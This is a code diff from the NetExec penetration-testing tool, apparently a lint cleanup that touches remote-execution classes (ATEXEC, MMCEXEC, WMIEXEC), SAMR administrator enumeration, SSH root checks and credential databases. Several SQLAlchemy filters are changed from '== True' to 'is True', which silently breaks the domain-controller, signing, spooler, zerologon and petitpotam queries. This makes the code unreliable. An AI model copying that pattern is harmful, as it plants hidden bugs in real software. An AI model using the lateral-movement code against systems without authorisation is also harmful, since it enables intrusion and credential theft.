# 0xF003F - SC_MANAGER_ALL_ACCESS # 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
ans = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F) scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
self.admin_privs = True self.admin_privs = True
except scmr.DCERPCException: except scmr.DCERPCException:
self.admin_privs = False self.admin_privs = False

View File

@ -195,7 +195,7 @@ class TSCH_EXEC:
except IOError: except IOError:
sleep(2) sleep(2)
else: else:
peer = ":".join(map(str, self.__rpctransport.get_socket().getpeername())) ":".join(map(str, self.__rpctransport.get_socket().getpeername()))
smbConnection = self.__rpctransport.get_smb_connection() smbConnection = self.__rpctransport.get_smb_connection()
tries = 1 tries = 1
while True: while True:
@ -205,7 +205,7 @@ class TSCH_EXEC:
break break
except Exception as e: except Exception as e:
if tries >= self.__tries: if tries >= self.__tries:
self.logger.fail(f"ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break break
if str(e).find("STATUS_BAD_NETWORK_NAME") >0 : if str(e).find("STATUS_BAD_NETWORK_NAME") >0 :
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)") self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")

View File

@ -177,7 +177,7 @@ class database:
# )''') # )''')
def reflect_tables(self): def reflect_tables(self):
with self.db_engine.connect() as conn: with self.db_engine.connect():
try: try:
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine) self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine)
@ -301,7 +301,7 @@ class database:
groups = [] groups = []
if (group_id and not self.is_group_valid(group_id)) or (pillaged_from and not self.is_host_valid(pillaged_from)): if (group_id and not self.is_group_valid(group_id)) or (pillaged_from and not self.is_host_valid(pillaged_from)):
nxc_logger.debug(f"Invalid group or host") nxc_logger.debug("Invalid group or host")
return return
q = select(self.UsersTable).filter( q = select(self.UsersTable).filter(
@ -499,18 +499,18 @@ class database:
return [results] return [results]
# if we're filtering by domain controllers # if we're filtering by domain controllers
elif filter_term == "dc": elif filter_term == "dc":
q = q.filter(self.HostsTable.c.dc == True) q = q.filter(self.HostsTable.c.dc is True)
if domain: if domain:
q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain)) q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain))
elif filter_term == "signing": elif filter_term == "signing":
# generally we want hosts that are vulnerable, so signing disabled # generally we want hosts that are vulnerable, so signing disabled
q = q.filter(self.HostsTable.c.signing == False) q = q.filter(self.HostsTable.c.signing is False)
elif filter_term == "spooler": elif filter_term == "spooler":
q = q.filter(self.HostsTable.c.spooler == True) q = q.filter(self.HostsTable.c.spooler is True)
elif filter_term == "zerologon": elif filter_term == "zerologon":
q = q.filter(self.HostsTable.c.zerologon == True) q = q.filter(self.HostsTable.c.zerologon is True)
elif filter_term == "petitpotam": elif filter_term == "petitpotam":
q = q.filter(self.HostsTable.c.petitpotam == True) q = q.filter(self.HostsTable.c.petitpotam is True)
elif filter_term is not None and filter_term.startswith("domain"): elif filter_term is not None and filter_term.startswith("domain"):
domain = filter_term.split()[1] domain = filter_term.split()[1]
like_term = func.lower(f"%{domain}%") like_term = func.lower(f"%{domain}%")
@ -700,7 +700,7 @@ class database:
"read": read, "read": read,
"write": write, "write": write,
} }
share_id = self.conn.execute( self.conn.execute(
Insert(self.SharesTable).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id), Insert(self.SharesTable).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id),
share_data, share_data,
) # .scalar_one() ) # .scalar_one()

View File

@ -252,7 +252,7 @@ class MMCEXEC:
break break
except Exception as e: except Exception as e:
if tries >= self.__tries: if tries >= self.__tries:
self.logger.fail(f"MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break break
if str(e).find("STATUS_BAD_NETWORK_NAME") >0 : if str(e).find("STATUS_BAD_NETWORK_NAME") >0 :
self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)") self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")

View File

@ -46,7 +46,7 @@ def convert(low, high, lockout=False):
minutes = int(strftime("%M", gmtime(tmp))) minutes = int(strftime("%M", gmtime(tmp)))
hours = int(strftime("%H", gmtime(tmp))) hours = int(strftime("%H", gmtime(tmp)))
days = int(strftime("%j", gmtime(tmp))) - 1 days = int(strftime("%j", gmtime(tmp))) - 1
except ValueError as e: except ValueError:
return "[-] Invalid TIME" return "[-] Invalid TIME"
if days > 1: if days > 1:

View File

@ -61,7 +61,7 @@ class SamrFunc:
domains = self.samr_query.get_domains() domains = self.samr_query.get_domains()
if "Builtin" not in domains: if "Builtin" not in domains:
logging.error(f"No Builtin group to query locally on") logging.error("No Builtin group to query locally on")
return return
domain_handle = self.samr_query.get_domain_handle("Builtin") domain_handle = self.samr_query.get_domain_handle("Builtin")
@ -93,7 +93,7 @@ class SamrFunc:
if "Administrators" in self.groups: if "Administrators" in self.groups:
self.logger.success(f"Found Local Administrators group: RID {self.groups['Administrators']}") self.logger.success(f"Found Local Administrators group: RID {self.groups['Administrators']}")
domain_handle = self.samr_query.get_domain_handle("Builtin") domain_handle = self.samr_query.get_domain_handle("Builtin")
self.logger.debug(f"Querying group members") self.logger.debug("Querying group members")
member_sids = self.samr_query.get_alias_members(domain_handle, self.groups["Administrators"]) member_sids = self.samr_query.get_alias_members(domain_handle, self.groups["Administrators"])
member_names = self.lsa_query.lookup_sids(member_sids) member_names = self.lsa_query.lookup_sids(member_sids)
@ -167,7 +167,7 @@ class SAMRQuery:
return None return None
return resp["ServerHandle"] return resp["ServerHandle"]
else: else:
nxc_logger.debug(f"Error creating Samr handle") nxc_logger.debug("Error creating Samr handle")
return return
def get_domains(self): def get_domains(self):

View File

@ -44,7 +44,7 @@ class UserSamrDump:
try: try:
protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol] protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1] port = protodef[1]
except KeyError as e: except KeyError:
self.logger.debug(f"Invalid Protocol '{protocol}'") self.logger.debug(f"Invalid Protocol '{protocol}'")
self.logger.debug(f"Trying protocol {protocol}") self.logger.debug(f"Trying protocol {protocol}")
rpctransport = transport.SMBTransport( rpctransport = transport.SMBTransport(

View File

@ -47,11 +47,10 @@ class SMBSpider:
if share == "*": if share == "*":
self.logger.display("Enumerating shares for spidering") self.logger.display("Enumerating shares for spidering")
permissions = []
try: try:
for share in self.smbconnection.listShares(): for share in self.smbconnection.listShares():
share_name = share["shi1_netname"][:-1] share_name = share["shi1_netname"][:-1]
share_remark = share["shi1_remark"][:-1] share["shi1_remark"][:-1]
try: try:
self.smbconnection.listPath(share_name, "*") self.smbconnection.listPath(share_name, "*")
self.share = share_name self.share = share_name

View File

@ -6,7 +6,6 @@ import os
from time import sleep from time import sleep
from nxc.connection import dcom_FirewallChecker from nxc.connection import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string from nxc.helpers.misc import gen_random_string
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
@ -166,7 +165,7 @@ class WMIEXEC:
break break
except Exception as e: except Exception as e:
if tries >= self.__tries: if tries >= self.__tries:
self.logger.fail(f"WMIEXEC: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method") self.logger.fail("WMIEXEC: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
break break
if str(e).find("STATUS_BAD_NETWORK_NAME") >0 : if str(e).find("STATUS_BAD_NETWORK_NAME") >0 :
self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)") self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")

View File

@ -71,12 +71,12 @@ class ssh(connection):
# but that might be too much of an opsec concern - maybe add in a flag to do more checks? # but that might be too much of an opsec concern - maybe add in a flag to do more checks?
stdin, stdout, stderr = self.conn.exec_command("id") stdin, stdout, stderr = self.conn.exec_command("id")
if stdout.read().decode("utf-8").find("uid=0(root)") != -1: if stdout.read().decode("utf-8").find("uid=0(root)") != -1:
self.logger.info(f"Determined user is root via `id` command") self.logger.info("Determined user is root via `id` command")
self.admin_privs = True self.admin_privs = True
return True return True
stdin, stdout, stderr = self.conn.exec_command("sudo -ln | grep 'NOPASSWD: ALL'") stdin, stdout, stderr = self.conn.exec_command("sudo -ln | grep 'NOPASSWD: ALL'")
if stdout.read().decode("utf-8").find("NOPASSWD: ALL") != -1: if stdout.read().decode("utf-8").find("NOPASSWD: ALL") != -1:
self.logger.info(f"Determined user is root via `sudo -ln` command") self.logger.info("Determined user is root via `sudo -ln` command")
self.admin_privs = True self.admin_privs = True
return True return True
@ -88,7 +88,7 @@ class ssh(connection):
else: else:
pkey = paramiko.RSAKey.from_private_key_file(self.args.key_file) pkey = paramiko.RSAKey.from_private_key_file(self.args.key_file)
self.logger.debug(f"Logging in with key") self.logger.debug("Logging in with key")
self.conn.connect( self.conn.connect(
self.host, self.host,
port=self.args.port, port=self.args.port,
@ -115,7 +115,7 @@ class ssh(connection):
key=key_data, key=key_data,
) )
else: else:
self.logger.debug(f"Logging in with password") self.logger.debug("Logging in with password")
self.conn.connect( self.conn.connect(
self.host, self.host,
port=self.args.port, port=self.args.port,
@ -146,7 +146,7 @@ class ssh(connection):
stdin, stdout, stderr = self.conn.exec_command("id") stdin, stdout, stderr = self.conn.exec_command("id")
output = stdout.read().decode("utf-8") output = stdout.read().decode("utf-8")
if not output: if not output:
self.logger.debug(f"User cannot get a shell") self.logger.debug("User cannot get a shell")
shell_access = False shell_access = False
else: else:
shell_access = True shell_access = True
@ -156,7 +156,7 @@ class ssh(connection):
if self.args.key_file: if self.args.key_file:
password = f"{password} (keyfile: {self.args.key_file})" password = f"{password} (keyfile: {self.args.key_file})"
display_shell_access = f" - shell access!" if shell_access else "" display_shell_access = " - shell access!" if shell_access else ""
self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()}{highlight(display_shell_access)}") self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()}{highlight(display_shell_access)}")
return True return True

View File

@ -56,7 +56,7 @@ class database:
) )
def reflect_tables(self): def reflect_tables(self):
with self.db_engine.connect() as conn: with self.db_engine.connect():
try: try:
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)

View File

@ -52,7 +52,7 @@ class winrm(connection):
try: try:
smb_conn.login("", "") smb_conn.login("", "")
except BrokenPipeError: except BrokenPipeError:
self.logger.fail(f"Broken Pipe Error while attempting to login") self.logger.fail("Broken Pipe Error while attempting to login")
except Exception as e: except Exception as e:
if "STATUS_NOT_SUPPORTED" in str(e): if "STATUS_NOT_SUPPORTED" in str(e):
# no ntlm supported # no ntlm supported
@ -217,14 +217,13 @@ class winrm(connection):
self.logger.info(f"Connection Timed out to WinRM service: {e}") self.logger.info(f"Connection Timed out to WinRM service: {e}")
except requests.exceptions.ConnectionError as e: except requests.exceptions.ConnectionError as e:
if "Max retries exceeded with url" in str(e): if "Max retries exceeded with url" in str(e):
self.logger.info(f"Connection Timeout to WinRM service (max retries exceeded)") self.logger.info("Connection Timeout to WinRM service (max retries exceeded)")
else: else:
self.logger.info(f"Other ConnectionError to WinRM service: {e}") self.logger.info(f"Other ConnectionError to WinRM service: {e}")
return False return False
def plaintext_login(self, domain, username, password): def plaintext_login(self, domain, username, password):
try: try:
from urllib3.connectionpool import log
# log.addFilter(SuppressFilter()) # log.addFilter(SuppressFilter())
if not self.args.laps: if not self.args.laps:
@ -253,7 +252,7 @@ class winrm(connection):
# self.db.add_loggedin_relation(user_id, host_id) # self.db.add_loggedin_relation(user_id, host_id)
if self.admin_privs: if self.admin_privs:
self.logger.debug(f"Inside admin privs") self.logger.debug("Inside admin privs")
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id) self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id)
if not self.args.local_auth: if not self.args.local_auth:

View File

@ -74,7 +74,7 @@ class database:
) )
def reflect_tables(self): def reflect_tables(self):
with self.db_engine.connect() as conn: with self.db_engine.connect():
try: try:
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine) self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine)

View File

@ -15,7 +15,7 @@ from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck
from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, WBEM_FLAG_FORWARD_ONLY, IWbemLevel1Login from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
MSRPC_UUID_PORTMAP = uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0')) MSRPC_UUID_PORTMAP = uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0'))
@ -261,7 +261,7 @@ class wmi(connection):
request['vers_option'] = 0x1 request['vers_option'] = 0x1
request['entry_handle'] = entry_handle request['entry_handle'] = entry_handle
request['max_ents'] = 1 request['max_ents'] = 1
resp = dce.request(request) dce.request(request)
except Exception as e: except Exception as e:
dce.disconnect() dce.disconnect()
error_msg = str(e).lower() error_msg = str(e).lower()
@ -307,7 +307,7 @@ class wmi(connection):
request['vers_option'] = 0x1 request['vers_option'] = 0x1
request['entry_handle'] = entry_handle request['entry_handle'] = entry_handle
request['max_ents'] = 1 request['max_ents'] = 1
resp = dce.request(request) dce.request(request)
except Exception as e: except Exception as e:
dce.disconnect() dce.disconnect()
error_msg = str(e).lower() error_msg = str(e).lower()
@ -362,7 +362,7 @@ class wmi(connection):
request['vers_option'] = 0x1 request['vers_option'] = 0x1
request['entry_handle'] = entry_handle request['entry_handle'] = entry_handle
request['max_ents'] = 1 request['max_ents'] = 1
resp = dce.request(request) dce.request(request)
except Exception as e: except Exception as e:
dce.disconnect() dce.disconnect()
error_msg = str(e).lower() error_msg = str(e).lower()
@ -384,7 +384,6 @@ class wmi(connection):
# It's very complex to use wmi from rpctansport "convert" to dcom, so let we use dcom directly. # It's very complex to use wmi from rpctansport "convert" to dcom, so let we use dcom directly.
@requires_admin @requires_admin
def wmi(self, WQL=None, namespace=None): def wmi(self, WQL=None, namespace=None):
results_WQL = "\r"
records = [] records = []
if not WQL: if not WQL:
WQL = self.args.wmi.strip('\n') WQL = self.args.wmi.strip('\n')

View File

@ -48,7 +48,7 @@ class database:
) )
def reflect_tables(self): def reflect_tables(self):
with self.db_engine.connect() as conn: with self.db_engine.connect():
try: try:
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)

View File

@ -1,4 +1,3 @@
from argparse import _StoreTrueAction
def proto_args(parser, std_parser, module_parser): def proto_args(parser, std_parser, module_parser):
wmi_parser = parser.add_parser('wmi', help="own stuff using WMI", parents=[std_parser, module_parser], conflict_handler='resolve') wmi_parser = parser.add_parser('wmi', help="own stuff using WMI", parents=[std_parser, module_parser], conflict_handler='resolve')
@ -8,7 +7,7 @@ def proto_args(parser, std_parser, module_parser):
# For domain options # For domain options
dgroup = wmi_parser.add_mutually_exclusive_group() dgroup = wmi_parser.add_mutually_exclusive_group()
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, type=str, help="Domain to authenticate to") dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, type=str, help="Domain to authenticate to")
dgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target') dgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target')
egroup = wmi_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") egroup = wmi_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")

View File

@ -31,7 +31,7 @@ import base64
from nxc.helpers.misc import gen_random_string from nxc.helpers.misc import gen_random_string
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, WBEM_FLAG_FORWARD_ONLY, IWbemLevel1Login from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
class WMIEXEC: class WMIEXEC:
def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec): def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec):
@ -103,8 +103,8 @@ class WMIEXEC:
descriptor = descriptor.SpawnInstance() descriptor = descriptor.SpawnInstance()
retVal = descriptor.GetStringValue(2147483650, self.__registry_Path, keyName) retVal = descriptor.GetStringValue(2147483650, self.__registry_Path, keyName)
self.__outputBuffer = base64.b64decode(retVal.sValue).decode(self.__codec, errors='replace').rstrip('\r\n') self.__outputBuffer = base64.b64decode(retVal.sValue).decode(self.__codec, errors='replace').rstrip('\r\n')
except Exception as e: except Exception:
self.logger.fail(f"WMIEXEC: Could not retrieve output file, it may have been detected by AV. Please try increasing the timeout with the '--exec-timeout' option. If it is still failing, try the 'smb' protocol or another exec method") self.logger.fail("WMIEXEC: Could not retrieve output file, it may have been detected by AV. Please try increasing the timeout with the '--exec-timeout' option. If it is still failing, try the 'smb' protocol or another exec method")
try: try:
self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}") self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}")

View File

@ -34,7 +34,7 @@ from nxc.helpers.powershell import get_ps_script
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, WBEM_FLAG_FORWARD_ONLY, IWbemLevel1Login, WBEMSTATUS from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, WBEMSTATUS
class WMIEXEC_EVENT: class WMIEXEC_EVENT:
def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec): def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec):
@ -189,8 +189,8 @@ class WMIEXEC_EVENT:
command_ResultObject, _ = self.__iWbemServices.GetObject(f'ActiveScriptEventConsumer.Name="{self.__instanceID_StoreResult}"') command_ResultObject, _ = self.__iWbemServices.GetObject(f'ActiveScriptEventConsumer.Name="{self.__instanceID_StoreResult}"')
record = dict(command_ResultObject.getProperties()) record = dict(command_ResultObject.getProperties())
self.__outputBuffer = base64.b64decode(record['ScriptText']['value']).decode(self.__codec, errors='replace') self.__outputBuffer = base64.b64decode(record['ScriptText']['value']).decode(self.__codec, errors='replace')
except Exception as e: except Exception:
self.logger.fail(f"WMIEXEC-EVENT: Could not retrieve output file, it may have been detected by AV. Please try increasing the timeout with the '--exec-timeout' option. If it is still failing, try the 'smb' protocol or another exec method") self.logger.fail("WMIEXEC-EVENT: Could not retrieve output file, it may have been detected by AV. Please try increasing the timeout with the '--exec-timeout' option. If it is still failing, try the 'smb' protocol or another exec method")
def remove_Instance(self): def remove_Instance(self):
if self.__retOutput: if self.__retOutput:

View File

@ -5,7 +5,7 @@ from rich.console import Console
def get_cli_args(): def get_cli_args():
parser = argparse.ArgumentParser(description=f"Script for running end to end tests for nxc") parser = argparse.ArgumentParser(description="Script for running end to end tests for nxc")
parser.add_argument("-t", "--target", dest="target", required=True) parser.add_argument("-t", "--target", dest="target", required=True)
parser.add_argument("-u", "--user", "--username", dest="username", required=True) parser.add_argument("-u", "--user", "--username", dest="username", required=True)
parser.add_argument("-p", "--pass", "--password", dest="password", required=True) parser.add_argument("-p", "--pass", "--password", dest="password", required=True)
@ -68,7 +68,7 @@ def run_e2e_tests(args):
) )
version = result.communicate()[0].decode().strip() version = result.communicate()[0].decode().strip()
with console.status(f"[bold green] :brain: Running {len(tasks)} test commands for nxc v{version}...") as status: with console.status(f"[bold green] :brain: Running {len(tasks)} test commands for nxc v{version}..."):
passed = 0 passed = 0
failed = 0 failed = 0